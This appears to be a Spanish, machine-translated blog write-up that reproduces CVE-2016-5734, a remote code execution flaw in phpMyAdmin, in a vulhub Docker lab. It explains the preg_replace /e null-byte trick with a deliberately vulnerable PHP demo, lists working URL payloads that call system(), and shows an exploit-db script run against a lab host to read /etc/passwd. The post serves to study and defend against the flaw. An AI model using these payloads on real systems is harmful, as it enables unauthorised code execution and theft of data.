CVE-2016-5734 Phpmyadmin reproducción de vulnerabilidad de ejecución de código en segundo plano


Descripción de la vulnerabilidad

  CVE-2016-5734 en el exploit-db es phpMyAdmin 4.6.2-Ejecución remota de código autenticado, lo que significa la ejecución remota de código de usuarios autenticados de phpMyAdmin. Según la descripción, todas las versiones 4.6.x de phpMyAdmin afectadas (hasta 4.6.3 )), versión 4.4.x (hasta 4.4.15.7) y versión 4.0.x (hasta 4.0.10.16). El autor de CVE usó la función preg_replace en la versión anterior a php 5.4.7 para manejar el error del byte nulo, de modo que el código inyectado se pueda ejecutar de forma remota.


Versión de impacto

  • phpmyadmin 4.6.x versión (hasta 4.6.3)
  • phpmyadmin 4.4.x versión (hasta 4.4.15.7)
  • phpmyadmin 4.0.x versión (hasta 4.0.10.16)
  • Versión de PHP: 4.3.0 ~ 5.4.6

Construcción de entornos de vulnerabilidad

Utilice vulhub para iniciar directamente el entorno con un entorno CVE-2018-12613 clave

Construcción del entorno de vulnerabilidad y inicio rápido de Docker

Después de descargar e instalar vulhub, ingrese al /vulhub/phpmyadmin/CVE-2016-5734directorio y ejecute el siguiente comando para iniciar el entorno

sudo docker-compose up -d

Después de que la instalación sea exitosa, verifique el puerto y encuentre que el puerto está mapeado en nuestro puerto 8080.
Inserte la descripción de la imagen aquí
Visite localhost: 8080 en la máquina virtual, y aparecerá la siguiente interfaz, lo que indica que la instalación fue exitosa.
Inserte la descripción de la imagen aquí

Análisis de vulnerabilidad

  • Hablemos primero de la función preg_replace : La
    función preg_replace realiza una búsqueda y reemplazo de expresiones regulares.

  • Permítanme hablar sobre el papel de preg_replace \ e :
    si se establece este modificador obsoleto, preg_replace () realizará la cadena de reemplazo como una evaluación de código php después de realizar un reemplazo de referencia inversa a la cadena de reemplazo (método de función eval) , y usará la ejecución resultado como la cadena realmente involucrada en el reemplazo. Las comillas simples, las comillas dobles, las barras invertidas () y los caracteres NULL se escaparán con barras invertidas al reemplazar las comillas invertidas.

Pruebe el uso \ede la ejecución de código:

<?php
    highlight_file(__FILE__);
    $raw = $_GET['raw'];
    $replace = $_GET['replace'];
    $text = $_GET['text'];

    $text = preg_replace('/'.$raw.'/e', $replace, $text);
?>

poco:

?raw=a&replace=system("ls")&text=larry

Inserte la descripción de la imagen aquí
Si nuestra demostración se convierte en el siguiente código, ¿habrá lagunas?

<?php
    highlight_file(__FILE__);
    $raw = $_GET['raw'];
    $replace = $_GET['replace'];
    $text = $_GET['text'];

    $text = preg_replace('/'.$raw.'/i', $replace, $text);
?>

De hecho, se puede omitir.Cuando la versión de php es menor que 5.4.7, inyecte un carácter nulo en el patrón para provocar el truncamiento y pase el modificador e, que se puede ejecutar como código php.

poco:

?raw=a/e%00&replace=system(%22ls%22)&text=larry

Inserte la descripción de la imagen aquí

Para el análisis de vulnerabilidad del código phpmyadmin, puede ver el siguiente artículo:
https://xz.aliyun.com/t/7836#toc-5


Explotar

Condiciones de uso: es necesario conocer la contraseña de la cuenta de la base de datos

Descargue el script de exploit:
https://www.exploit-db.com/exploits/40185

Método de utilización del script:

-u cuenta
-p contraseña
-c ejecución de código (código php) uname -a se ejecuta de forma predeterminada

python 40185.py -u root -p root http://192.168.154.3:8080

Inserte la descripción de la imagen aquí

python 40185.py -u root -p root -c "system('cat /etc/passwd')" http://192.168.154.3:8080

Inserte la descripción de la imagen aquí


Fortalecimiento de la vulnerabilidad

Actualizar php o phpmyadmin

Link de referencia

https://larry.ngrep.me/2016/09/21/cve-2016-5734-analysis/
https://xz.aliyun.com/t/7836

Supongo que te gusta

Origin blog.csdn.net/weixin_41924764/article/details/113063083
Recomendado
Clasificación